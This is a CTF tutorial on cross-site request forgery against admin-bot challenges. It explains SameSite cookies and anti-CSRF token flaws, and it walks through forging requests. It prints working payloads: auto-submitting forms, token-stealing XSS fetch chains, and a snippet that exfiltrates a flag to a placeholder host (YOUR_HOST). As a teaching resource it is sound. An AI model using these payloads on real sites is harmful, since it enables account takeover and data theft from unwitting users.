July 6, 2026

CSRF for CTF: Forging Requests and Bypassing Tokens

Beat the admin-bot CSRF challenge: host an auto-submitting form, understand SameSite, bypass weak anti-CSRF tokens, and chain XSS when the cookie will not ride.

What is CSRF, and why does the challenge have an admin bot?

Cross-Site Request Forgery (CSRF) is a trick where your page makes the victim's browser send a request to a target site, and the browser helpfully attaches the victim's cookies. The server sees a fully authenticated request and cannot tell that the victim never meant to send it. You do not steal the session; you borrow the browser that holds it.

In a CTF this almost always wears the same costume: an admin bot. The challenge gives you a box that says "submit a URL and our admin will visit it." That admin is a headless Chrome instance logged in with a privileged cookie. Your flag lives behind an action only the admin can perform, change the admin's email, approve your account, post a comment that the admin's session renders, read an internal page. You cannot log in as the admin, but you can hand the admin a page that forges the request for you.

CSRF does not break authentication. It rents it. The bot is already logged in; your job is to make its browser click for you.

The whole exploit is three moves. First, host an HTML page that auto-fires the request you want. Second, make sure the target's cookies will actually ride along (this is the SameSite question, and it decides the entire challenge). Third, deliver the URL of your page to the bot. The rest of this guide is those three moves, plus what to do when a CSRF token or a strict cookie gets in the way.

picoCTF's Live Art (2022) is a textbook version of this setup: a collaborative web app whose admin bot visits a URL you submit, so you audit its state-changing endpoints for a missing CSRF token (falling back to a stored-XSS payload the bot's session renders if the cookie will not ride cross-site).

Note: CSRF is the sibling of XSS, not a replacement for it. XSS runs your JavaScript inside the target origin; CSRF runs from your origin and only gets to send blind requests. When a strict cookie blocks plain CSRF, the move is often to chain through an XSS, covered in the XSS for CTF post and again below.

How do I build the attack page that forges the request?

The attack page is just static HTML you host somewhere the bot can reach. It has no dependencies and does not need to look like anything, the bot is a script, not a human. Start by reading the legitimate request you want to forge. Open the target action in Burp or your browser's network tab and note the method, the path, the Content-Type, and every body parameter.

If the action is a GET (a surprising number of CTF endpoints change state on GET), an <img> tag is the entire exploit. The browser fetches the URL on page load, cookies attached, and you never even need JavaScript:

<!-- csrf.html : GET-based state change, fires on load -->
<!doctype html>
<html>
<body>
<!-- The browser sends this GET with the victim's cookies -->
<img src="http://target.ctf/admin/promote?user=attacker" style="display:none">
</body>
</html>

Most real actions are POST. For that you host a form whose fields match the body parameters exactly, then submit it automatically with one line of JavaScript. No click required, the page submits itself the instant it loads:

<!-- csrf.html : auto-submitting POST form -->
<!doctype html>
<html>
<body>
<form id="x" action="http://target.ctf/account/email" method="POST">
<input type="hidden" name="email" value="attacker@evil.test">
</form>
<script>document.getElementById('x').submit();</script>
</body>
</html>

Two details decide whether the form even reaches the handler. The enctype must match what the server expects. A normal HTML form sends application/x-www-form-urlencoded; if the endpoint only accepts multipart/form-data set enctype on the form, and if it insists on application/json a plain form cannot produce that body (more on that limitation below). The second detail is that hidden inputs are sent verbatim, so a parameter the server requires but you forgot will make the action silently fail.

Warning: A plain HTML form can only send x-www-form-urlencoded, multipart/form-data, or text/plain. It cannot set a real application/json body or any custom header. If the endpoint requires a JSON Content-Type or an X-Requested-With header, a forms-only CSRF is dead and you need the fetch variant, which only works if CORS allows it, or an XSS chain. That Content-Type requirement is itself a (weak) CSRF defense.

When the endpoint genuinely reads JSON and you control script execution on your own page, you can try fetch with credentials. This only sends cookies if the target's CORS policy reflects your origin and allows credentials, which is rare but worth a thirty-second check:

<!-- csrf.html : credentialed fetch, needs permissive CORS to count -->
<script>
fetch('http://target.ctf/api/account', {
method: 'POST',
credentials: 'include', // attach the victim's cookies
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: 'attacker@evil.test' })
});
</script>

Why do the victim's cookies ride along, and when do they not?

The reason CSRF works at all is that browsers attach cookies based on the destination of a request, not the origin of the page that triggered it. A request to target.ctf carries target.ctf's cookies no matter who sent it. The single attribute that changes this is SameSite, and reading it correctly is the difference between a five-minute solve and an afternoon of confusion.

Check the cookie the moment you start. In the network tab, look at the Set-Cookie header for the session cookie, or run:

$ curl -si http://target.ctf/login -d 'user=me&pass=me' | grep -i set-cookie
Set-Cookie: session=abc123; Path=/; HttpOnly; SameSite=Lax

There are three values, and each one rewrites your plan:

  • SameSite=None (or no SameSite attribute on a very old server): the cookie rides along on every cross-site request, GET or POST. Plain CSRF works with no tricks. This is the easy case.
  • SameSite=Lax (the modern browser default when the attribute is absent): the cookie rides along only on top-level navigations that use a safe method, mainly a full-page GET. It is stripped from cross-site POST requests, from fetch, from <img> subresource loads, and from iframes. So a Lax cookie still falls to a GET-based CSRF delivered as a navigation, but your auto-submitting POST form will send without the session and the action fails.
  • SameSite=Strict: the cookie never leaves on any cross-site request, not even a top-level GET navigation. Classic CSRF is off the table. You need a request that originates from the target site itself, which means chaining through an XSS or finding an on-site redirect (see below).
Key insight: The practical CTF rule: if the cookie is Lax, turn your exploit into a top-level GET navigation. A window.location redirect or an auto-submitting method="GET" form counts as a navigation and carries a Lax cookie; an <img> or a POST does not. Many challenges are "solved" the moment you stop fighting and convert the action to a GET the server still accepts.

There is one more Lax wrinkle worth knowing. Some browsers historically applied a two-minute grace window where a brand-new cookie behaved like None on top-level cross-site POSTs ("Lax + POST"). You cannot rely on it, but if a POST CSRF mysteriously works against a freshly issued cookie and fails later, that grace window is why. For the precise matrix of which requests carry which cookie, the MDN SameSite reference is the authoritative source.

Whether a session cookie is also a JSON Web Token, and whether you can forge it outright instead of borrowing it, is a separate axis covered in the Cookies and JWTs for CTF post. CSRF and cookie forgery often live in the same challenge: if you can forge the cookie you do not need CSRF at all, and if you cannot, CSRF is how you use the bot's cookie without reading it.

How do I bypass a weak anti-CSRF token?

The standard defense is a per-request secret: the server embeds a random csrf_token in the form, and rejects any POST whose token does not match the one tied to the session. You cannot read that token from across origins (the same-origin policy stops you), so a properly implemented token kills CSRF. The word doing the work is properly. CTF authors love to ship tokens that look right and validate nothing. Walk this checklist before assuming the token is real.

1. Is the token validated at all? The most common CTF bug: the form renders a token, but the handler never checks it. Send the POST with the token field deleted entirely, then with it set to an empty string, then with a junk value. If any of those still performs the action, there is no real check and you can drop the token from your attack page completely.

# Does the server actually verify the token? Try three things:
$ curl -s -b 'session=VICTIM' -d 'email=a@evil.test' http://target.ctf/account/email
$ curl -s -b 'session=VICTIM' -d 'email=a@evil.test&csrf_token=' http://target.ctf/account/email
$ curl -s -b 'session=VICTIM' -d 'email=a@evil.test&csrf_token=junk' http://target.ctf/account/email
# If the email changes in any of these, the token is decorative.

2. Is the token tied to the session, or global? If the server checks that the token is "valid" but not that it belongs to this user, you can register your own account, harvest a valid token from your own form, and paste it into the attack page. The bot's session will happily accept a token minted for a different user. Same trick applies if the token is reused: if it does not rotate per request and never expires, one capture is good forever.

3. Is the token leaked anywhere? Tokens that show up in a GET URL, an Referer-logged link, an image src, or a JSON endpoint with permissive CORS can be read cross-origin and replayed. If the token is predictable (a counter, a timestamp, an MD5 of the username), you can compute it. Treat any token you can see or guess as no token.

4. Does the check only fire when the field is present? A frequent logic flaw: if request.form.get('csrf_token'): validate(). Omit the field and the branch never runs. Removing a parameter is not the same as sending a wrong one, always test both.

A CSRF token only defends you if the server checks that it exists, that it matches, and that it belongs to the session making the request. Drop any one and the token is theater.
Tip: Burp Suite's "Generate CSRF PoC" (right-click a request in the proxy history) builds the auto-submitting form for you, including the current token value. Pair it with the checklist above: generate the PoC, then strip or swap the token field to find out whether the server actually cares.

What if SameSite=Strict blocks the cross-site request?

When the cookie is SameSite=Strict, no request you launch from your own origin will carry it. The fix is to stop launching from your origin. If you can get even a sliver of JavaScript to run on the target site itself, that script is same-site, so its requests carry the Strict cookie and any per-session token it can read out of the page. That sliver is XSS, and chaining XSS into CSRF is the canonical way past a strict cookie.

The shape: find a stored or reflected XSS on any page of the target (a comment field, a username, a search echo), and have that injected script perform the privileged action using a same-origin fetch. Because the script runs on target.ctf, it can also read the real CSRF token straight out of the DOM before sending, defeating the token and the cookie in one shot:

// Injected via XSS on target.ctf. Runs same-origin, so:
// - the Strict session cookie is attached automatically
// - the real CSRF token is readable from the page
fetch('/account/email', {
method: 'POST',
credentials: 'same-origin',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'email=attacker@evil.test&csrf_token=' +
document.querySelector('input[name=csrf_token]').value
});

If the token is not in the current DOM, fetch the form page first, parse the token out of the response, then send the action. Two same-origin requests, both authenticated, all from the one injection point:

// Two-step same-origin chain: read the token, then use it
fetch('/account', { credentials: 'same-origin' })
.then(r => r.text())
.then(html => {
const t = html.match(/name="csrf_token" value="([^"]+)"/)[1];
return fetch('/account/email', {
method: 'POST',
credentials: 'same-origin',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'email=attacker@evil.test&csrf_token=' + t
});
});
Note: The same-origin redirect trick is the no-XSS cousin of this chain. If the target has an open redirect or a reflected GET that bounces the browser to an internal URL, a request that starts on the target site (so the navigation is same-site) can sometimes carry a Strict cookie to the final destination. It is finicky and browser-dependent, but worth a look when there is no XSS and the cookie is Strict.

Whether to reach for CSRF, XSS, or a cookie forge is a judgment call, and the broader pattern-matching, "which web bug does this challenge actually want", is the subject of the Web Challenges and Real-World Bug Patterns post. CSRF is the right tool when the action is state-changing, the bot is authenticated, and the cookie will ride or can be made to ride.

How do I host the page and deliver the URL to the bot?

The bot needs a URL it can open, which means your attack page has to be reachable from wherever the bot runs. In most picoCTF-style setups the bot and the target share a network, but the bot can also reach the public internet, so you have two hosting options: a public tunnel, or a server inside the challenge network. The simplest local host is Python's built-in server:

# Drop csrf.html in the current directory, then serve it
$ ls
csrf.html
# Python 3 one-liner static server on port 8000
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
# The bot visits this:
# http://YOUR_HOST:8000/csrf.html

If the bot only reaches the public internet and you are behind NAT, expose the local server with a tunnel so it gets a routable URL:

# Option A: an SSH reverse tunnel to a box you control
$ ssh -R 8000:localhost:8000 user@your-vps
# Option B: a tunneling tool that prints a public https URL
$ cloudflared tunnel --url http://localhost:8000
$ ngrok http 8000
# Give the bot the printed https URL + /csrf.html

Now submit that URL in the challenge's "report to admin" box. The bot opens it in a logged-in headless browser, your page auto-fires the forged request, and the action runs as the admin. How you then see the result depends on the challenge: sometimes the action itself reveals the flag, sometimes you have to exfiltrate it. If your same-origin script can read the flag (via an XSS chain), send it back to your own server so it lands in your access log:

// Exfiltrate whatever the privileged context can read
fetch('/admin/flag', { credentials: 'same-origin' })
.then(r => r.text())
.then(flag => {
// The flag shows up in YOUR http.server request log
new Image().src = 'http://YOUR_HOST:8000/x?f=' + encodeURIComponent(flag);
});
Warning: Watch your server log, not just the page. Pure CSRF (no XSS) is blind: the forged request fires inside the bot's browser and the response never comes back to you. You confirm success by the side effect (the email changed, your account got approved) or by an exfil callback. If nothing lands in python3 -m http.server's log, the bot may not be reaching you, test the URL from a second machine first.
Tip: Give the bot a long-lived page. Some bots set a short navigation timeout, so put your payload in an inline <script> that runs on DOMContentLoaded, not behind a slow external resource. If the action needs two sequential requests, chain them with promises rather than setTimeout, the bot may close the tab before a timer fires.

Quick reference

CSRF triage order

  1. Read the target request, method, path, Content-Type, every body param. Reproduce it with curl and the bot's cookie.
  2. Check Set-Cookie for SameSite. None means anything works; Lax means use a top-level GET navigation; Strict means chain an XSS or an on-site redirect.
  3. If there is a token, test it three ways: delete the field, blank it, junk it. Then check if a token minted for your own account is accepted (not session-bound), or if the token is leaked or predictable.
  4. GET action: a hidden <img> or a window.location redirect. POST action: an auto-submitting hidden form. JSON-only action: forms cannot do it, use a credentialed fetch (needs CORS) or an XSS chain.
  5. Host with python3 -m http.server 8000, tunnel it if the bot is on the public internet, submit the URL to the admin box, and watch your access log.

SameSite cheat sheet

None -> cookie sent on ALL cross-site requests (GET, POST, fetch, img)
Lax -> cookie sent ONLY on top-level GET navigations (default)
Strict -> cookie NEVER sent cross-site; need XSS / same-site redirect
Lax-safe delivery: window.location = 'http://target/action?...'
Strict bypass: inject same-origin fetch via XSS on target.ctf

For the authoritative defender's view of every control you are poking at, the OWASP CSRF Prevention Cheat Sheet and PortSwigger's Web Security Academy CSRF topic are the two primary references worth keeping open. Reading what stops CSRF tells you exactly which check to test for absence.

The mental model never changes: the bot is already logged in, so do not attack the login, attack the trust the server places in the bot's own browser.